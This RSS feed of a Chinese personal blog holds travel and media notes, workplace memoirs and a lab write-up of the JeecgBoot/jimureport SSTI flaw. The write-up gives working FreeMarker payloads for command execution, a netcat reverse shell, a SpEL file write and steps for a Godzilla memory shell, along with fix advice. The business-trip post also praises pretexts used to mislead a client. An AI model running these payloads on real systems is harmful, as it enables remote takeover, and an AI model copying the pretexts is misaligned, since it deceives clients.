&lt;li&gt;《天国大魔境》、《地狱乐》、《放学后失眠的你》、《跃动青春》好番&lt;/li&gt;
&lt;li&gt;《无职转生-第二季》可惜没有第一季好看，我还以为这一季能找到男主的妈妈呢&lt;/li&gt;
&lt;li&gt;《香格里拉·弗陇提亚～屎作猎人向神作发起》偶尔看看刷怪升级的番还不错&lt;/li&gt;
&lt;li&gt;《经验丰富的你和经验为零的我交往的故事》结合最近的经历，终于彻底理解了表白是水到渠成的事情，而不是你觉得你说出来就好了，可能还会给到别人压力，以前我傻傻地认为喜欢一个人就一定要说出来不然就错过了......&lt;/li&gt;
&lt;li&gt;和同事一起去看了《红猪》，好好看，想起来以前在电脑上看过&lt;/li&gt;
&lt;li&gt;《封神第一部》、《芭比》、《消失的她》、《奥本海默》好久没去电影院看电影了，IMAX 太爽了&lt;/li&gt;
&lt;li&gt;《想见你》、《想见你电影版》55555，好好看，伍佰的歌《Last Dance》一响我就会想到这个剧，后来因为光汉哥还追了《中餐厅第七季》&lt;/li&gt;
&lt;li&gt;《重启人生》偶尔看看日剧也是不错的&lt;/li&gt;
&lt;li&gt;《琅琊榜》同事推荐看的，真的好喜欢胡歌，里面一直 Q 胡歌的妆容剧情有一点凑巧&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;去过的&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在北京，去什刹海看日落，去了北海公园散步，吃了四季民福的烤鸭，吃了吴裕泰的茉莉花茶冰淇淋，去了故宫，喝了小吊梨汤，吃了 Wagas，吃了西南官话贵州菜，吃了鱼酷，去了颐和园、去了南山滑雪场......&lt;/li&gt;
&lt;li&gt;去了秦皇岛，在西浴场看到了日出，去到鸽子窝看了海鸥与鸽子🕊（淡季免门票），吃了物美价廉的山楂和草莓糖葫芦，吃了叶存利海鲜大馅饺子。&lt;/li&gt;
&lt;li&gt;去了天津，看了天津之眼，吃了西塔老太太和同发号，天津的物价真的比北京低一些。&lt;/li&gt;
&lt;li&gt;去了青岛，下高铁站就去吃了燕欣老字号活海鲜家常菜（北京路店）的海肠捞饭、油泼扇贝和油焖大虾，去了小麦岛看日落，可惜天气是阴天⛅，晚上吃了大生蚝，喝了青岛啤酒，第二天去了青岛第二海水浴场，吃了小宫的现烤面包，吃了汇丰苑的海肠捞饭、鲜虾干锅扁豆丝、青岛凉粉和小酥肉。去青岛一定要吃海肠捞饭！！！&lt;/li&gt;
&lt;li&gt;去了大连，第一次坐飞机，第一次出差，去了亚洲第一大广场星海广场看了海鸥~&lt;/li&gt;
&lt;li&gt;去了深圳，吃了潮悦牛肉火锅，吃了瑯西巷子南宁老友粉 (红山店)&lt;/li&gt;
&lt;li&gt;去了香港，去了尖沙咀码头看海景，体验了港珠澳大桥&lt;/li&gt;
&lt;li&gt;去了珠海，吃了新佳濠横琴生蚝火锅&lt;/li&gt;
&lt;li&gt;去了澳门，去了大三巴牌坊，在优衣库避暑顺便买了咒术回战联名短 T，体验到汇率带来的折扣，吃了 Ufufu cafe 蛋包饭，坐了发财车，去了美高梅喝了免费的奶茶和小点心&lt;/li&gt;
&lt;li&gt;去了长沙，吃了心心念念的林科大桥下螺蛳粉，买了吴酥生的绿豆糕，喝了茶颜悦色，喝了果呀呀，沿着江边骑了共享电驴，买了茶颜悦色的周边，吃了冇味湘潭菜&lt;/li&gt;
&lt;li&gt;去了宜昌，吃了宜昌小面，吃了享巴渝重庆老地方串串香，宜昌似乎很多都是川味，麻辣口味的，去了解放路小吃街和 CBD 小吃街&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>记第一次参加护网行动</title><link>https://reajason.eu.org/writing/firstoperationprotectnet/</link><guid isPermaLink="true">https://reajason.eu.org/writing/firstoperationprotectnet/</guid><pubDate>Tue, 26 Sep 2023 09:13:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;护网时间：2023-08-08 ~ 2023-08-23&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;去客户那儿第一天就听说有人夸我是帅哥（上一次被夸帅还是面基的时候），要问我公司最帅的，当然是我老大啦&lt;/li&gt;
&lt;li&gt;作为 RASP 厂商，护网前在客户生产系统进行 RASP 安装与卸载（熟练在生产系统执行 rm -rf）&lt;/li&gt;
&lt;li&gt;护网期间作为蓝队，值了七个班，其中五个晚班&lt;/li&gt;
&lt;li&gt;体会到了创业的艰辛，可能没那么想创业但还是会想有自己的产品（以前以为有满腔热血就行）&lt;/li&gt;
&lt;li&gt;通过代码审计找到一个 SSTI 的漏洞并注入内存马（在已知有漏洞但不知道具体入口的情况下）&lt;/li&gt;
&lt;li&gt;交到了新朋友（甲方对接），增加了和同事之间的友谊，从初来在工位唯唯诺诺到如今哈哈大笑&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;生产环境安装&lt;/h2&gt;
&lt;p&gt;每次一想到去客户那儿都会害怕挨骂，因为有过一段在深圳一个人啥也不知道，就拿着一个未开发完成、无法演示、只有些许截图能用的系统，跑去客户那儿介绍产品的毫无底气、胆战心惊的经历。&lt;/p&gt;
&lt;p&gt;不过一到客户那儿，不知道从哪儿听到一个不认识的小姐姐对旁边说着：“我们公司最帅的帅哥来了“（后来得知是我们的售前同事，我们售前真是太好了，上次去大连出差，基本上是售前同事照顾，这次直接夸夸群群主）。心情顿时高兴了起来，后来坐在旁边等安排的时候，甲方的对接的人看我一个人坐在那儿，专门来和我搭话，问我是不是公司最帅的，我说当然不是，他接着问，那你觉得你们公司最帅的是谁，我毫不犹豫地说，那当然是我老大啦。（后来我和这个来搭话的这位关系变得非常好了）。&lt;/p&gt;
&lt;p&gt;因为是生产环境，等客户下班开完决策会，到九点钟才开始安装，一直干到十一点半，回家已是凌晨。生产环境安装的时候，幸运女神并没有眷顾到我，我安装的第一台 tomcat 就死锁业务系统卡死，最后通过重启 tomcat 才得已解决。后来第二次去安装时，我第一个安装同样出现了死锁，导致第三次安装时，我们老板想先安装一个，看是不是我比较背。&lt;/p&gt;
&lt;h2&gt;夜班真是不好受&lt;/h2&gt;
&lt;p&gt;临危受命，第一次值班就连着两个夜班，第一个夜班和产品大佬，值班过程中，和产品沟通了一些产品方向的改进思路，以及帮忙解答了一些关于产品实现的一点点疑惑。整晚没睡，六点到七点之间困意最大，对身心极大的挑战，早上九点交接完，打车回家，直接睡到下午三点才起来。&lt;/p&gt;
&lt;p&gt;第二个夜班和售前同事，带着甲方对接，我们三晚上一直在聊天，两个人都问我年龄，后来得知只有我一个人在说实话......我平时没什么话题，不知道讲什么的时候我就会聊我的学习经历。后来得知，领导们想撮合和我值班的两位，但是在如此加班的情况下，真有时间谈恋爱吗，当事人也觉得可疑。我也参加到撮合他们的队伍中，因为男生给我的感觉就是和我高中比较像（突出一个不知所措），我就给男生提了一些建议（比如聊一点日常的话题，工作内容是不能促进感情的），母胎 solo 还是比较难受的，希望大家在大学都有恋爱谈。&lt;/p&gt;
&lt;p&gt;值班过程中是比较轻松的，首先就是没有实质性的攻击打进来，因为夜班值得比较多，客户这边比较硬气，让红队晚上不要打，打了就扣分，hhhh，所以晚班基本没啥事，其次也没啥业务，系统基本很稳定。
后来有一次夜班，值班到四五点的时候，我一个人躲到一个地方一直睡到早上十点多，导致到九点换班的时候，值班的小伙伴都没找到我，hhh。&lt;/p&gt;
&lt;p&gt;值了几次晚班，就到处查如何保护身体健康，连夜买了鱼油，护心血以及护眼的保健品吃了🤪。&lt;/p&gt;
&lt;h2&gt;连轴转&lt;/h2&gt;
&lt;p&gt;每天基本都看到老大和老板他们都在客户这边，晚上搞到两三点，客户这边九点上班又得早早地来处理问题。看着他们这么辛苦的创业，我顿时觉得身体的损耗有点划不来，我渴望的还是静静地发育。&lt;/p&gt;
&lt;h2&gt;老大说有 SSTI 漏洞挖&lt;/h2&gt;
&lt;p&gt;8-13 听说 jeecg-boot 开源框架存在 ssti 漏洞，8-14 找到一个需要两步执行的 ssti 漏洞。8-15 找到无需认证即可触发的 ssti 漏洞点，8-16 夜班时间通过 ssti 漏洞打进了内存马。真是一次愉快的漏洞挖掘体验，学习到了 freemarker 的一些利用 payload，内存马注入使用分段写入 jar 包，再用 classLoader 加载 class，真是一次神奇的类加载体验。漏洞细节参考 &lt;a href=&quot;https://www.reajason.eu.org/writing/freemarkersstimemshell&quot;&gt;往期文章&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;期望&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;希望来年我变得更强&lt;/li&gt;
&lt;li&gt;希望来年产品更加成熟&lt;/li&gt;
&lt;li&gt;希望来年还能挖到洞&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>JeecgBoot 模板注入到内存马</title><link>https://reajason.eu.org/writing/freemarkersstimemshell/</link><guid isPermaLink="true">https://reajason.eu.org/writing/freemarkersstimemshell/</guid><pubDate>Wed, 23 Aug 2023 23:59:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;当前文章所提供脚本，仅供学习使用，请勿使用到生产环境&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;在已知 &lt;a href=&quot;https://github.com/jeecgboot/jeecg-boot&quot;&gt;jeecg-boot&lt;/a&gt; 企业级开源项目存在 ssti 漏洞但不知道具体位置的情况下，通过搜索注入特征点找到了未授权即可访问的 web api 点，并通过自动生成内存马工具进行注入，实现对目标机器的控制，该漏洞属于 RCE 高危漏洞。&lt;/p&gt;
&lt;h2&gt;漏洞影响范围&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-4450&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;集成了 &lt;a href=&quot;http://jimureport.com/&quot;&gt;jimureport &amp;lt;= 1.6.0&lt;/a&gt; 的系统，例  &lt;a href=&quot;https://github.com/jeecgboot/jeecg-boot/releases/tag/v3.5.3&quot;&gt;jeecg-boot v3.5.3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;漏洞复现环境&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;需要 Docker 环境，使用 docker-compose.yaml 启动漏洞复现环境&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
  jeecg-boot-mysql:
    image: reajason/jeecg-boot-mysql:3.5.3
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_ROOT_HOST: &apos;%&apos;
      TZ: Asia/Shanghai
    restart: always
    container_name: jeecg-boot-mysql
    command:
      --character-set-server=utf8mb4
      --collation-server=utf8mb4_general_ci
      --explicit_defaults_for_timestamp=true
      --lower_case_table_names=1
      --max_allowed_packet=128M
      --default-authentication-plugin=caching_sha2_password

  jeecg-boot-redis:
    image: redis:5.0
    restart: always
    hostname: jeecg-boot-redis

  jeecg-boot-system:
    image: reajason/jeecg-boot-system:3.5.3
    restart: on-failure
    depends_on:
      - jeecg-boot-mysql
      - jeecg-boot-redis
    hostname: jeecg-boot-system
    ports:
      - 8080:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动 docker 环境：&lt;code&gt;docker-compose up -d&lt;/code&gt; 或 &lt;code&gt;docker compose up -d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;后端接口访问地址：http://localhost:8080/jeecg-boot&lt;/p&gt;
&lt;p&gt;积木报表地址：http://localhost:8080/jeecg-boot/jmreport/list&lt;/p&gt;
&lt;h2&gt;漏洞触发&lt;/h2&gt;
&lt;p&gt;未授权漏洞点：http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql&lt;/p&gt;
&lt;h3&gt;RCE&lt;/h3&gt;
&lt;h4&gt;1. 执行 id 命令&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&quot;freemarker.template.utility.Execute&quot;?new()&amp;gt;${ex(&quot;id&quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP 请求体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    &quot;sql&quot;: &quot;&amp;lt;#assign ex=\&quot;freemarker.template.utility.Execute\&quot;?new()&amp;gt;${ex(\&quot;id\&quot;)}&quot;,
    &quot;type&quot;: &quot;0&quot;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;curl 命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql&apos; \
--header &apos;Content-Type: application/json&apos; \
--data &apos;{
    &quot;sql&quot;: &quot;&amp;lt;#assign ex=\&quot;freemarker.template.utility.Execute\&quot;?new()&amp;gt;${ex(\&quot;id\&quot;)}&quot;,
    &quot;type&quot;: &quot;0&quot;
}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可查看容器日志查看执行结果（debug 日志，为方便测试漏洞环境开启了 debug 日志）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2023-08-23 22:05:09.739 [http-nio-8080-exec-1] DEBUG o.j.m.j.common.interceptor.JimuReportInterceptor:48 - JimuReportInterceptor check requestPath = /jmreport/queryFieldBySql
2023-08-23T14:05:09.765672857Z 2023-08-23 22:05:09.760 [http-nio-8080-exec-1] DEBUG o.j.m.j.common.interceptor.JimuReportInterceptor:56 - customPrePath: null
2023-08-23T14:05:09.785445737Z 2023-08-23 22:05:09.783 [http-nio-8080-exec-1] DEBUG org.jeecg.modules.jmreport.desreport.a.a:766 - ============解析sql==========
2023-08-23T14:05:09.804763148Z 2023-08-23 22:05:09.803 [http-nio-8080-exec-1] DEBUG o.j.m.j.desreport.render.utils.FreeMarkerUtils:102 - 模板内容:&amp;lt;#assign ex=&quot;freemarker.template.utility.Execute&quot;?new()&amp;gt;${ex(&quot;id&quot;)}
2023-08-23T14:05:09.911876597Z 2023-08-23 22:05:09.907 [http-nio-8080-exec-1] DEBUG o.j.m.j.desreport.render.utils.FreeMarkerUtils:104 - 模板解析结果:uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 反弹 shell&lt;/h4&gt;
&lt;p&gt;本机开启端口监听：&lt;code&gt;nc -lvvp 2333&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看本机 IP：&lt;code&gt;192.168.1.5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&quot;freemarker.template.utility.Execute&quot;?new()&amp;gt;${ex(&quot;nc 192.168.1.5 2333 -e /bin/bash&quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP 请求体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    &quot;sql&quot;: &quot;&amp;lt;#assign ex=\&quot;freemarker.template.utility.Execute\&quot;?new()&amp;gt;${ex(\&quot;nc 192.168.1.5 2333 -e /bin/bash\&quot;)}&quot;,
    &quot;type&quot;: &quot;0&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;curl 命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql&apos; \
--header &apos;Content-Type: application/json&apos; \
--data &apos;{
    &quot;sql&quot;: &quot;&amp;lt;#assign ex=\&quot;freemarker.template.utility.Execute\&quot;?new()&amp;gt;${ex(\&quot;nc 192.168.1.5 2333 -e /bin/bash\&quot;)}&quot;,
    &quot;type&quot;: &quot;0&quot;
}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;SPEL&lt;/h3&gt;
&lt;h4&gt;1. 写文件&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;payload1:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${&quot;freemarker.template.utility.ObjectConstructor&quot;?new()(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;).parseExpression(&quot;T(org.apache.commons.io.FileUtils).writeStringToFile(new java.io.File(&apos;/tmp/hello.txt&apos;), &apos;hello freemarker ssti~\n&apos;)&quot;).getValue()}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;payload2:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&quot;freemarker.template.utility.ObjectConstructor&quot;?new()&amp;gt;${ex(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;).parseExpression(&quot;T(org.apache.commons.io.FileUtils).writeStringToFile(new java.io.File(&apos;/tmp/hello.txt&apos;), &apos;hello freemarker ssti~\n&apos;)&quot;).getValue()}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP 请求体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    &quot;sql&quot;: &quot;${\&quot;freemarker.template.utility.ObjectConstructor\&quot;?new()(\&quot;org.springframework.expression.spel.standard.SpelExpressionParser\&quot;).parseExpression(\&quot;T(org.apache.commons.io.FileUtils).writeStringToFile(new java.io.File(&apos;/tmp/hello.txt&apos;), &apos;hello freemarker ssti~\n&apos;)\&quot;).getValue()}&quot;,
    &quot;type&quot;: &quot;0&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;curl 命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;http://localhost:8088/jeecg-boot/jmreport/queryFieldBySql&apos; \
--header &apos;Content-Type: application/json&apos; \
--data &apos;{
    &quot;sql&quot;: &quot;${\&quot;freemarker.template.utility.ObjectConstructor\&quot;?new()(\&quot;org.springframework.expression.spel.standard.SpelExpressionParser\&quot;).parseExpression(\&quot;T(org.apache.commons.io.FileUtils).writeStringToFile(new java.io.File(&apos;\&apos;&apos;/tmp/hello.txt&apos;\&apos;&apos;), &apos;\&apos;&apos;hello freemarker ssti~\n&apos;\&apos;&apos;)\&quot;).getValue()}&quot;,
    &quot;type&quot;: &quot;0&quot;
}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;一键哥斯拉内存马&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;一键生成内存马工具：https://github.com/pen4uin/java-memshell-generator&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;哥斯拉工具：https://github.com/BeichenDream/Godzilla&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于当前接口代码逻辑放置了大量正则进行 SQL 注入检测，故直接使用 freemarker 进行内存马注入会卡在正则过滤上，在老大的帮助下，使用了先写入内存马 jar 文件后再加载内存马类的方式来实现内存马注入。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;注入内存马&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://gist.github.com/ReaJason/68fce1f02b0f6f51b8d0984e4266c3ff&quot;&gt;脚本&lt;/a&gt; 将其命名为 &lt;code&gt;jeecg-boot-godzilla.py&lt;/code&gt;，编辑脚本将 &lt;code&gt;back_url&lt;/code&gt; 设置成漏洞复现后端地址例如：&lt;code&gt;http://localhost:8080/jeecg-boot&lt;/code&gt;，执行 &lt;code&gt;python jeecg-boot-godzilla.py&lt;/code&gt; 运行脚本等待内存马注入完成（执行显示解析失败是正常现象）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;连接内存马&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla&quot;&gt;godzilla&lt;/a&gt;，使用 &lt;code&gt;java -jar godzilla.jar&lt;/code&gt; 启动 &lt;code&gt;godzilla&lt;/code&gt;，点击目标添加，输入如下参数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL：&lt;code&gt;http://192.168.1.5:8080/jeecg-boot/&lt;/code&gt;，地址请使用 Docker 所在主机 IP，例 &lt;code&gt;192.168.1.5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密码：&lt;code&gt;pass&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密钥：&lt;code&gt;key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;User-Agent: &lt;code&gt;Kndux&lt;/code&gt;，将其添加到请求配置其中即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;漏洞修复建议&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;将 &lt;code&gt;jimureport-spring-boot-starter&lt;/code&gt; 第三方依赖升级至 1.6.1 以上版本&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;/jmreport/queryFieldBySql&lt;/code&gt; 接口进行登录认证。&lt;/li&gt;
&lt;li&gt;使用 &lt;a href=&quot;https://www.boundaryx.com/category/product/adr&quot;&gt;靖云甲 RASP&lt;/a&gt; 时刻保护应用安全，有效防护开源第三方库潜在的 0day 漏洞。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;延伸阅读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oscs1024.com/hd/MPS-4hzd-mb73&quot;&gt;jeecg-boot/积木报表基于SSTI的任意代码执行漏洞&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection&quot;&gt;Server Side Template Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/achuna33/Memoryshell-JavaALL&quot;&gt;Memoryshell-JavaALL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BeichenDream/Godzilla&quot;&gt;Godzilla&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pen4uin/java-memshell-generator&quot;&gt;java-memshell-generator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>记第一次出差</title><link>https://reajason.eu.org/writing/firstbusinesstrip/</link><guid isPermaLink="true">https://reajason.eu.org/writing/firstbusinesstrip/</guid><pubDate>Sat, 15 Jul 2023 23:11:36 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;紧急出差，晚上六点突然收到消息&lt;/li&gt;
&lt;li&gt;第一次坐飞机，九点从北京出发，十点四十到大连&lt;/li&gt;
&lt;li&gt;了解到了售前和销售的一点区别&lt;/li&gt;
&lt;li&gt;我完全胜任不了售前的职务&lt;/li&gt;
&lt;li&gt;生产事故是非常严重的事故，未经测试的代码总是让人惶恐&lt;/li&gt;
&lt;li&gt;我永远不会去国企上班&lt;/li&gt;
&lt;li&gt;我希望我技术更强，能应付更复杂的生产环境问题排查&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;选择困难&lt;/h2&gt;
&lt;p&gt;当六点四十收到是否愿意出差的询问时，我犹豫了很久，第一个原因就是出现了生产事故且前线同事无法定位到事故发生的位置，并且是我不熟悉的中间件，我害怕我不能胜任。第二个原因则是没有出差经验，心里害怕，像是得走出舒适圈的一种畏惧。挣扎了 20 分钟，最终选择了去出差，去前线调查事故发生原因。主要原因是这是一次难得的机会，新的挑战肯定能收获更多的经验，这篇博客也正是记录这些收获的。&lt;/p&gt;
&lt;h2&gt;第一次坐飞机&lt;/h2&gt;
&lt;p&gt;由于情况紧急，老大给我买的机票，我也没有带身份证在身上，我办了一个临时乘车登记，然后就去了入口那儿想进去，她和我说需要一个什么乘机证明，然后我才去找了那个机子，打印了一张，此时我手机大概只有 12% 的电。&lt;strong&gt;打印机票的时候好像能选座位，我没有选......&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;机场安检不像高铁需要我喝水杯里的水，直接把我水倒掉了，说里面能接水。机场进候车区的路上有代步传送带，很好玩，就是扶梯是平的那种。候机区的座位都有 USB 充电口，当时我的电只有 10+ 左右，然后给爸妈通了微信视频，因为是新奇的体验想分享一下，再来也是旅程报一下平安。&lt;/p&gt;
&lt;p&gt;不像平时在电视看到的，那种登机有个楼梯慢慢走上去，这边就是用一个通道直接对接了飞机，然后走进去，完全去不了地面，我想是减少事故的发生吧。飞机离起飞点有很长的距离，会在机场转很久，最后启动的时候能感到加速的推背感，然后感受到飞机倾斜开始升空的感觉，飞机一直嗡嗡嗡，耳朵会有点难受，升到 4k 到 6k 的高度的样子，平稳运行的时候倒是没啥事了。飞机时速能到六七百千米每小时的速度，嘎嘎快。&lt;/p&gt;
&lt;p&gt;落地后我的手机没电了，&lt;strong&gt;在 3 号出口那儿墙边有充电的地方充了二十分钟电（大连周水子机场）&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;问题接踵而至&lt;/h2&gt;
&lt;p&gt;第二天来到机房，上午就找到了关键日志，可能是我们的适配问题导致的，不过为了确定问题的所在，需要用反编译工具查看用户源码，不过由于无法上传工具，此时就特别难受，业务服务器的机房和安全产品部署的机房也不在同一层，排查问题的过程就变成了异常困难，每次切换都需要等人开门，等人来上机，非常缓慢。&lt;/p&gt;
&lt;p&gt;不幸的是，排查过程中，客户业务群说又出现了问题。保存一次出现了两条数据，我当时就排查了日志，发现确实有两条 insert 语句，前后间隔 20ms，大概率是业务逻辑的问题，由于也不知道业务 API，所以没法判断是不是用户进行了连点操作（没有防连点的保存按钮太多了，业务开发经常遇到）。所以暂时只是推给了业务系统自身的问题，和我们安全产品的问题不大，甚至没有问题。&lt;/p&gt;
&lt;p&gt;又不幸的是，排查过程中，又出现了问题，客户业务这边验签失败了。当时刚好我们的安全产品是开启的状态，我就立马查了业务日志，发现没有打到业务系统的日志，后来去发现就是浏览器证书的问题，导致本地验签失败，请求发不出去，换了 IE 浏览器就好了。&lt;/p&gt;
&lt;p&gt;两次问题的出现刚好就在我们安全产品挂载的时候发生的。每次问题的排查我都会以技术的角度给出问题产生的原因以及日志排查的思路，来阐述这个问题与我们没有关系，随着销售和售前的进场，他们让我知道了一个事情的处理每个角色看待问题的方式都不一样。客户方因为我们开启了我们安全产品的缘故，所以一有问题就认为是我们导致的，并且在有了确切证据之后也一样认为我们是有潜在问题的（无法完全信任），所以最后也要求我们如何证明我们的产品是没问题，目前唯一的办法就只能是下一次业务过来，开启我们安全产品的前提下，不出现任何问题，这样才能打消目前的顾虑。&lt;/p&gt;
&lt;h2&gt;销售和售前的区别&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;因为觉得都是在客户这边进行工作，所以一直觉得差不多的亚子，所以吃饭的时候就问了问售前&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在产品推广中，销售是最先入场的，销售通过和客户领导打交道，获取客户领导的信任，如果有意试用或购买我们的产品，客户领导就有机会能让下面对接我们的产品，此时销售就能退场了（之后如果客户这边出了售前也无法解决的事情可能需要销售甚至是 CEO 来维稳一下客户这边的情绪），需要运维进场为客户对接安装我们的产品，售前来跟进其中出现的产品问题、产品新需求以及各种事故。&lt;/p&gt;
&lt;p&gt;此次就是出现了生产事故，售前在客户以及公司的双向压力下（客户需要一个事故的解释，公司需要帮忙排查问题）进行问题的排查以及挨客户的脸色，没能找到问题的所在，因此紧急调用研发的我来帮助排查问题。这样售前就能单独去面对客户这边处理客户的问题，我就负责收集日志反馈给公司，配合排查问题和修复问题。&lt;/p&gt;
&lt;h2&gt;问题修复&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;排查出了问题，是我们产品适配的问题，由于初期又恰好这边没测试环境直接生产环境造，所以问题就复杂了许多&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;排查出问题后，老大他们在公司很快就进行了问题复现和修复，第一天晚上就发来了修复版本的包。&lt;/p&gt;
&lt;p&gt;因为不能加重用户怀疑第一天出现的问题就是我们的问题，我们不能直接说我们需要上传我们修复后的版本进行替换来达到解决问题，国企的电脑，U 盘需要使用他们的 U 盘进行操作，售前每次都给了一个合理化的理由让我们有了我们数据传输的机会（每次我都是眼前一亮），或许以后能用到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为了能下载日志 —— 我们需要收集一下我们自己平台的日志&lt;/li&gt;
&lt;li&gt;为了能上传新的修复版本 —— 我们需要上传一下指标&lt;/li&gt;
&lt;li&gt;为了重启业务系统 —— 我们重启安装能持久化安装，之前不是，这样能收集更多的日志方便之后问题排查&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;全程我都是哑口无言，都是售前在和客户交流，然后我直接上机做操作的那个人......售前真是太强了&lt;/p&gt;
&lt;p&gt;不过由于是生产环境且没法测试，最终我们还是把我们的产品安全功能给暂时关闭了，毕竟生产事故不是闹着玩的。（在我看来，没有经过测试就上生产环境是极不负责和不专业的行为，完全能找一个有测试环境或开发环境的系统来进行产品试用和体验，不过当时的业务场景我也不太懂，可能公司有自己的考虑吧）&lt;/p&gt;
